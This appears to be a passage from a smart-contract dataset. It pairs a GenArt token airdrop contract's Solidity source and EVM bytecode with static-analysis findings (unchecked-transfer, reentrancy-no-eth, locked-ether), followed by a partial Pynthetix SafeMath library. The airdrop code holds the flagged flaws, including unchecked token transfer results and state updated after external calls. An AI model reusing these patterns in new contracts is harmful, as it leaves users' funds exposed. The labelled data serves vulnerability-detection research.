0x6080604052600436106100f75760003560e01c80638da5cb5b1161008a578063c21c637011610059578063c21c63701461038c578063dc1ecac6146103a1578063e30c3978146103d4578063f2caeb1e146103e9576100fe565b80638da5cb5b146102e157806397749506146102f6578063a76d8fe21461032f578063ae169a5014610362576100fe565b8063486ea48d116100c6578063486ea48d146102285780634e71e0c81461023d5780636b7623a9146102525780638b9b46671461028e576100fe565b8063078dfbe71461010357806315e50ed0146101485780631694505e146101a75780631f8bc790146101d8576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101466004803603606081101561012657600080fd5b506001600160a01b03813516906020810135151590604001351515610413565b005b34801561015457600080fd5b50610146600480360360a081101561016b57600080fd5b810190808060a0019060058060200260405190810160405280929190826005602002808284376000920191909152509194506105499350505050565b3480156101b357600080fd5b506101bc6105c7565b604080516001600160a01b039092168252519081900360200190f35b3480156101e457600080fd5b50610202600480360360208110156101fb57600080fd5b50356105d6565b604080519384526001600160a01b03909216602084015282820152519081900360600190f35b34801561023457600080fd5b506101bc610600565b34801561024957600080fd5b5061014661060f565b34801561025e57600080fd5b5061027c6004803603602081101561027557600080fd5b50356106d1565b60408051918252519081900360200190f35b34801561029a57600080fd5b506102cd600480360360608110156102b157600080fd5b50803590602081013590604001356001600160a01b0316610732565b604080519115158252519081900360200190f35b3480156102ed57600080fd5b506101bc610840565b34801561030257600080fd5b506102cd6004803603604081101561031957600080fd5b50803590602001356001600160a01b031661084f565b34801561033b57600080fd5b506101466004803603602081101561035257600080fd5b50356001600160a01b0316610947565b34801561036e57600080fd5b506102cd6004803603602081101561038557600080fd5b50356109b6565b34801561039857600080fd5b506101bc610a62565b3480156103ad57600080fd5b50610146600480360360208110156103c457600080fd5b50356001600160a01b0316610a71565b3480156103e057600080fd5b506101bc610ae0565b3480156103f557600080fd5b5061027c6004803603602081101561040c57600080fd5b5035610aef565b6000546001600160a01b03163314610460576040805162461bcd60e51b81526020600482018190526024820152600080516020610b9d833981519152604482015290519081900360640190fd5b8115610528576001600160a01b03831615158061047a5750805b6104c3576040805162461bcd60e51b81526020600482015260156024820152744f776e61626c653a207a65726f206164647265737360581b604482015290519081900360640190fd5b600080546040516001600160a01b03808716939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0385166001600160a01b031991821617909155600380549091169055610544565b600380546001600160a01b0319166001600160a01b0385161790555b505050565b6000546001600160a01b03163314610596576040805162461bcd60e51b81526020600482018190526024820152600080516020610b9d833981519152604482015290519081900360640190fd5b60015b600b548110156105b5576105ac816109b6565b50600101610599565b506105c36004826005610b49565b5050565b6009546001600160a01b031681565b600a6020526000908152604090208054600182015460029092015490916001600160a01b03169083565b6002546001600160a01b031681565b6003546001600160a01b031633811461066f576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c657220213d2070656e64696e67206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b039092166001600160a01b0319928316179055600380549091169055565b6000818152600a60205260408120805460029091015482620151806106fd42849003633b9aca00610b06565b8161070457fe5b049050610729633b9aca006004600186036005811061071f57fe5b0154830290610b2a565b95945050505050565b6002546000906001600160a01b03163314610794576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206e6f646573604482015290519081900360640190fd5b6000848152600a60205260409020600101546001600160a01b0316156107f7576040805162461bcd60e51b81526020600482015260136024820152724e6f646520616c72656164792065786973747360681b604482015290519081900360640190fd5b506000928352600a6020526040909220908155600180820180546001600160a01b0319166001600160a01b03949094169390931790925542600290910155600b80548201905590565b6000546001600160a01b031681565b6002546000906001600160a01b031633146108b1576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206e6f646573604482015290519081900360640190fd5b6000838152600a60205260409020600101546001600160a01b0316610913576040805162461bcd60e51b8152602060048201526013602482015272139bd91948191bd95cc81b9bdd08195e1a5cdd606a1b604482015290519081900360640190fd5b506000828152600a60205260409020600190810180546001600160a01b0319166001600160a01b0384161790555b92915050565b6000546001600160a01b03163314610994576040805162461bcd60e51b81526020600482018190526024820152600080516020610b9d833981519152604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6000806109c2836106d1565b6000848152600a6020908152604080832042600282015560018054910154825163a9059cbb60e01b81526001600160a01b039182166004820152602481018790529251959650169363a9059cbb93604480840194938390030190829087803b158015610a2d57600080fd5b505af1158015610a41573d6000803e3d6000fd5b505050506040513d6020811015610a5757600080fd5b506001949350505050565b6001546001600160a01b031681565b6000546001600160a01b03163314610abe576040805162461bcd60e51b81526020600482018190526024820152600080516020610b9d833981519152604482015290519081900360640190fd5b600280546001600160a01b0319166001600160a01b0392909216919091179055565b6003546001600160a01b031681565b60048160058110610aff57600080fd5b0154905081565b6000821580610b2157505081810281838281610b1e57fe5b04145b61094157600080fd5b6000808211610b3857600080fd5b818381610b4157fe5b049392505050565b8260058101928215610b77579160200282015b82811115610b77578251825591602001919060010190610b5c565b50610b83929150610b87565b5090565b5b80821115610b835760008155600101610b8856fe4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a26469706673582212204fee3de2fc401e3e0e437a3f847faea60acce945a59f0cc224d2a6def0c9cb5964736f6c63430007050033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
5,426
0x9a5818e57bee41b6cca39f52c4501f43fcc18cb5
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IGenArtInterface { function getMaxMintForMembership(uint256 _membershipId) external view returns (uint256); function getMaxMintForOwner(address owner) external view returns (uint256); function upgradeGenArtTokenContract(address _genArtTokenAddress) external; function setAllowGen(bool allow) external; function genAllowed() external view returns (bool); function isGoldToken(uint256 _membershipId) external view returns (bool); function transferFrom( address _from, address _to, uint256 _amount ) external; function balanceOf(address _owner) external view returns (uint256); function ownerOf(uint256 _membershipId) external view returns (address); } interface IGenArt { function getTokensByOwner(address owner) external view returns (uint256[] memory); function ownerOf(uint256 tokenId) external view returns (address); function balanceOf(address owner) external view returns (uint256); function isGoldToken(uint256 _tokenId) external view returns (bool); } interface IGenArtAirdrop { function getAllowedMintForMembership( uint256 _collectionId, uint256 _membershipId ) external view returns (uint256); } interface IGenArtDrop { function getAllowedMintForMembership(uint256 _group, uint256 _membershipId) external view returns (uint256); } contract GenArtTokenAirdrop is Ownable { address genArtTokenAddress; address genArtMembershipAddress; uint256 tokensPerMint = 213 * 1e18; uint256 endBlock; address genArtAirdropAddress; address genArtDropAddress; uint256[] airdropCollections = [1, 2]; uint256[] dropCollectionGroups = [1, 2, 3, 4, 5, 6, 7, 8, 9]; mapping(uint256 => bool) membershipClaims; event Claimed(address account, uint256 membershipId, uint256 amount); constructor( address genArtMembershipAddress_, address genArtTokenAddress_, address genArtAirdropAddress_, address genArtDropAddress_, uint256 endBlock_ ) { genArtTokenAddress = genArtTokenAddress_; genArtMembershipAddress = genArtMembershipAddress_; genArtAirdropAddress = genArtAirdropAddress_; genArtDropAddress = genArtDropAddress_; endBlock = endBlock_; excludeMemberships(); } function claimAllTokens() public { require( block.number < endBlock, "GenArtTokenAirdrop: token claiming window has ended" ); uint256[] memory memberships = IGenArt(genArtMembershipAddress) .getTokensByOwner(msg.sender); require( memberships.length > 0, "GenArtTokenAirdrop: sender does not own memberships" ); uint256 airdropTokenAmount = 0; for (uint256 i = 0; i < memberships.length; i++) { airdropTokenAmount += getAirdropTokenAmount(memberships[i]); membershipClaims[memberships[i]] = true; emit Claimed(msg.sender, memberships[i], airdropTokenAmount); } require( airdropTokenAmount > 0, "GenArtTokenAirdrop: no tokens to claim" ); IERC20(genArtTokenAddress).transfer(msg.sender, airdropTokenAmount); } function claimTokens(uint256 membershipId) public { require( !membershipClaims[membershipId], "GenArtTokenAirdrop: tokens already claimed" ); require( block.number < endBlock, "GenArtTokenAirdrop: token claiming window has ended" ); require( IGenArt(genArtMembershipAddress).ownerOf(membershipId) == msg.sender, "GenArtTokenAirdrop: sender is not owner of membership" ); uint256 airdropTokenAmount = getAirdropTokenAmount(membershipId); require( airdropTokenAmount > 0, "GenArtTokenAirdrop: no tokens to claim" ); IERC20(genArtTokenAddress).transfer(msg.sender, airdropTokenAmount); emit Claimed(msg.sender, membershipId, airdropTokenAmount); membershipClaims[membershipId] = true; } function getAirdropTokenAmountAccount(address account) public view returns (uint256) { uint256[] memory memberships = IGenArt(genArtMembershipAddress) .getTokensByOwner(account); uint256 airdropTokenAmount = 0; for (uint256 i = 0; i < memberships.length; i++) { airdropTokenAmount += getAirdropTokenAmount(memberships[i]); } return airdropTokenAmount; } function getAirdropTokenAmount(uint256 membershipId) public view returns (uint256) { if (membershipClaims[membershipId]) { return 0; } bool isGoldToken = IGenArt(genArtMembershipAddress).isGoldToken( membershipId ); uint256 tokenAmount = 0; for (uint256 i = 0; i < airdropCollections.length; i++) { uint256 remainingMints = IGenArtAirdrop(genArtAirdropAddress) .getAllowedMintForMembership( airdropCollections[i], membershipId ); uint256 mints = (isGoldToken ? 5 : 1) - remainingMints; tokenAmount = tokenAmount + (mints * tokensPerMint); } for (uint256 i = 0; i < dropCollectionGroups.length; i++) { uint256 remainingMints = IGenArtDrop(genArtDropAddress) .getAllowedMintForMembership( dropCollectionGroups[i], membershipId ); uint256 mints = (isGoldToken ? 5 : 1) - remainingMints; tokenAmount = tokenAmount + (mints * tokensPerMint); } return tokenAmount; } /** * @dev Function to receive ETH */ receive() external payable virtual {} function withdrawTokens(uint256 _amount, address _to) public onlyOwner { IERC20(genArtTokenAddress).transfer(_to, _amount); } function withdraw(uint256 value) public onlyOwner { address _owner = owner(); payable(_owner).transfer(value); } function excludeMemberships() internal { membershipClaims[997] = true; membershipClaims[2304] = true; membershipClaims[3183] = true; membershipClaims[4125] = true; membershipClaims[1821] = true; membershipClaims[2127] = true; membershipClaims[4785] = true; membershipClaims[5016] = true; membershipClaims[3127] = true; membershipClaims[3119] = true; membershipClaims[3593] = true; membershipClaims[2722] = true; membershipClaims[3124] = true; membershipClaims[3030] = true; membershipClaims[3994] = true; membershipClaims[993] = true; membershipClaims[1671] = true; membershipClaims[1959] = true; membershipClaims[4754] = true; membershipClaims[444] = true; membershipClaims[664] = true; membershipClaims[1605] = true; membershipClaims[1613] = true; membershipClaims[249] = true; membershipClaims[1173] = true; membershipClaims[3869] = true; membershipClaims[1567] = true; membershipClaims[4725] = true; membershipClaims[3137] = true; membershipClaims[149] = true; membershipClaims[4526] = true; membershipClaims[5070] = true; membershipClaims[5078] = true; membershipClaims[3261] = true; membershipClaims[5047] = true; membershipClaims[2836] = true; membershipClaims[4429] = true; membershipClaims[4197] = true; membershipClaims[2472] = true; membershipClaims[1706] = true; membershipClaims[3941] = true; membershipClaims[3692] = true; membershipClaims[3298] = true; membershipClaims[3861] = true; } }
0x60806040526004361061008a5760003560e01c8063492c3d8911610059578063492c3d8914610128578063715018a61461016557806374c2e0931461017c5780638da5cb5b146101b9578063f2fde38b146101e457610091565b80631e4bd42c146100965780632e1a7d4d146100ad578063398d92bb146100d657806346e04a2f146100ff57610091565b3661009157005b600080fd5b3480156100a257600080fd5b506100ab61020d565b005b3480156100b957600080fd5b506100d460048036038101906100cf91906113c9565b61059e565b005b3480156100e257600080fd5b506100fd60048036038101906100f8919061141b565b610671565b005b34801561010b57600080fd5b50610126600480360381019061012191906113c9565b6107a1565b005b34801561013457600080fd5b5061014f600480360381019061014a91906113c9565b610ac9565b60405161015c9190611874565b60405180910390f35b34801561017157600080fd5b5061017a610e63565b005b34801561018857600080fd5b506101a3600480360381019061019e919061130d565b610eeb565b6040516101b09190611874565b60405180910390f35b3480156101c557600080fd5b506101ce611021565b6040516101db9190611719565b60405180910390f35b3480156101f057600080fd5b5061020b6004803603810190610206919061130d565b61104a565b005b6004544310610251576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161024890611854565b60405180910390fd5b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340398d67336040518263ffffffff1660e01b81526004016102ae9190611719565b60006040518083038186803b1580156102c657600080fd5b505afa1580156102da573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190610303919061135f565b90506000815111610349576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161034090611834565b60405180910390fd5b6000805b82518110156104a65761039f838281518110610392577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151610ac9565b826103aa9190611926565b91506001600960008584815181106103eb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151815260200190815260200160002060006101000a81548160ff0219169083151502179055507f987d620f307ff6b94d58743cb7a7509f24071586a77759b77c2d4e29f75a2f9a33848381518110610473577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101518460405161048b9392919061175d565b60405180910390a1808061049e90611a52565b91505061034d565b50600081116104ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e1906117b4565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610547929190611734565b602060405180830381600087803b15801561056157600080fd5b505af1158015610575573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061059991906113a0565b505050565b6105a6611142565b73ffffffffffffffffffffffffffffffffffffffff166105c4611021565b73ffffffffffffffffffffffffffffffffffffffff161461061a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610611906117f4565b60405180910390fd5b6000610624611021565b90508073ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f1935050505015801561066c573d6000803e3d6000fd5b505050565b610679611142565b73ffffffffffffffffffffffffffffffffffffffff16610697611021565b73ffffffffffffffffffffffffffffffffffffffff16146106ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e4906117f4565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb82846040518363ffffffff1660e01b815260040161074a929190611734565b602060405180830381600087803b15801561076457600080fd5b505af1158015610778573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079c91906113a0565b505050565b6009600082815260200190815260200160002060009054906101000a900460ff1615610802576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f990611814565b60405180910390fd5b6004544310610846576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083d90611854565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636352211e836040518263ffffffff1660e01b81526004016108b89190611874565b60206040518083038186803b1580156108d057600080fd5b505afa1580156108e4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109089190611336565b73ffffffffffffffffffffffffffffffffffffffff161461095e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610955906117d4565b60405180910390fd5b600061096982610ac9565b9050600081116109ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a5906117b4565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610a0b929190611734565b602060405180830381600087803b158015610a2557600080fd5b505af1158015610a39573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a5d91906113a0565b507f987d620f307ff6b94d58743cb7a7509f24071586a77759b77c2d4e29f75a2f9a338383604051610a919392919061175d565b60405180910390a160016009600084815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60006009600083815260200190815260200160002060009054906101000a900460ff1615610afa5760009050610e5e565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f4ed4d15846040518263ffffffff1660e01b8152600401610b579190611874565b60206040518083038186803b158015610b6f57600080fd5b505afa158015610b83573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba791906113a0565b90506000805b600780549050811015610d00576000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c65be56260078481548110610c34577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154886040518363ffffffff1660e01b8152600401610c5d92919061188f565b60206040518083038186803b158015610c7557600080fd5b505afa158015610c89573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cad91906113f2565b905060008185610cbe576001610cc1565b60055b60ff16610cce91906119d6565b905060035481610cde919061197c565b84610ce99190611926565b935050508080610cf890611a52565b915050610bad565b5060005b600880549050811015610e57576000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c65be56260088481548110610d8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154886040518363ffffffff1660e01b8152600401610db492919061188f565b60206040518083038186803b158015610dcc57600080fd5b505afa158015610de0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0491906113f2565b905060008185610e15576001610e18565b60055b60ff16610e2591906119d6565b905060035481610e35919061197c565b84610e409190611926565b935050508080610e4f90611a52565b915050610d04565b5080925050505b919050565b610e6b611142565b73ffffffffffffffffffffffffffffffffffffffff16610e89611021565b73ffffffffffffffffffffffffffffffffffffffff1614610edf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed6906117f4565b60405180910390fd5b610ee9600061114a565b565b600080600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340398d67846040518263ffffffff1660e01b8152600401610f499190611719565b60006040518083038186803b158015610f6157600080fd5b505afa158015610f75573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190610f9e919061135f565b90506000805b825181101561101657610ff6838281518110610fe9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151610ac9565b826110019190611926565b9150808061100e90611a52565b915050610fa4565b508092505050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611052611142565b73ffffffffffffffffffffffffffffffffffffffff16611070611021565b73ffffffffffffffffffffffffffffffffffffffff16146110c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110bd906117f4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611136576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112d90611794565b60405180910390fd5b61113f8161114a565b50565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600061122161121c846118e9565b6118b8565b9050808382526020820190508285602086028201111561124057600080fd5b60005b85811015611270578161125688826112f8565b845260208401935060208301925050600181019050611243565b5050509392505050565b60008135905061128981611af9565b92915050565b60008151905061129e81611af9565b92915050565b600082601f8301126112b557600080fd5b81516112c584826020860161120e565b91505092915050565b6000815190506112dd81611b10565b92915050565b6000813590506112f281611b27565b92915050565b60008151905061130781611b27565b92915050565b60006020828403121561131f57600080fd5b600061132d8482850161127a565b91505092915050565b60006020828403121561134857600080fd5b60006113568482850161128f565b91505092915050565b60006020828403121561137157600080fd5b600082015167ffffffffffffffff81111561138b57600080fd5b611397848285016112a4565b91505092915050565b6000602082840312156113b257600080fd5b60006113c0848285016112ce565b91505092915050565b6000602082840312156113db57600080fd5b60006113e9848285016112e3565b91505092915050565b60006020828403121561140457600080fd5b6000611412848285016112f8565b91505092915050565b6000806040838503121561142e57600080fd5b600061143c858286016112e3565b925050602061144d8582860161127a565b9150509250929050565b61146081611a0a565b82525050565b6000611473602683611915565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006114d9602683611915565b91507f47656e417274546f6b656e41697264726f703a206e6f20746f6b656e7320746f60008301527f20636c61696d00000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061153f603583611915565b91507f47656e417274546f6b656e41697264726f703a2073656e646572206973206e6f60008301527f74206f776e6572206f66206d656d6265727368697000000000000000000000006020830152604082019050919050565b60006115a5602083611915565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b60006115e5602a83611915565b91507f47656e417274546f6b656e41697264726f703a20746f6b656e7320616c72656160008301527f647920636c61696d6564000000000000000000000000000000000000000000006020830152604082019050919050565b600061164b603383611915565b91507f47656e417274546f6b656e41697264726f703a2073656e64657220646f65732060008301527f6e6f74206f776e206d656d6265727368697073000000000000000000000000006020830152604082019050919050565b60006116b1603383611915565b91507f47656e417274546f6b656e41697264726f703a20746f6b656e20636c61696d6960008301527f6e672077696e646f772068617320656e646564000000000000000000000000006020830152604082019050919050565b61171381611a48565b82525050565b600060208201905061172e6000830184611457565b92915050565b60006040820190506117496000830185611457565b611756602083018461170a565b9392505050565b60006060820190506117726000830186611457565b61177f602083018561170a565b61178c604083018461170a565b949350505050565b600060208201905081810360008301526117ad81611466565b9050919050565b600060208201905081810360008301526117cd816114cc565b9050919050565b600060208201905081810360008301526117ed81611532565b9050919050565b6000602082019050818103600083015261180d81611598565b9050919050565b6000602082019050818103600083015261182d816115d8565b9050919050565b6000602082019050818103600083015261184d8161163e565b9050919050565b6000602082019050818103600083015261186d816116a4565b9050919050565b6000602082019050611889600083018461170a565b92915050565b60006040820190506118a4600083018561170a565b6118b1602083018461170a565b9392505050565b6000604051905081810181811067ffffffffffffffff821117156118df576118de611aca565b5b8060405250919050565b600067ffffffffffffffff82111561190457611903611aca565b5b602082029050602081019050919050565b600082825260208201905092915050565b600061193182611a48565b915061193c83611a48565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561197157611970611a9b565b5b828201905092915050565b600061198782611a48565b915061199283611a48565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156119cb576119ca611a9b565b5b828202905092915050565b60006119e182611a48565b91506119ec83611a48565b9250828210156119ff576119fe611a9b565b5b828203905092915050565b6000611a1582611a28565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b6000611a5d82611a48565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611a9057611a8f611a9b565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b611b0281611a0a565b8114611b0d57600080fd5b50565b611b1981611a1c565b8114611b2457600080fd5b50565b611b3081611a48565b8114611b3b57600080fd5b5056fea26469706673582212208683765de33952445c247bf649083dc1ea501efe3b65eac0291b44b6c352497b64736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
5,427
0x9A1A2E6390D8A848901572d198513988fb50dB01
/* * Pynthetix: Math.sol * * Latest source (may be newer): https://github.com/Pynthetixio/pynthetix/blob/master/contracts/Math.sol * Docs: https://docs.pynthetix.io/contracts/Math * * Contract Dependencies: (none) * Libraries: * - Math * - SafeDecimalMath * - SafeMath * * MIT License * =========== * * Copyright (c) 2021 Pynthetix * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */ pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses 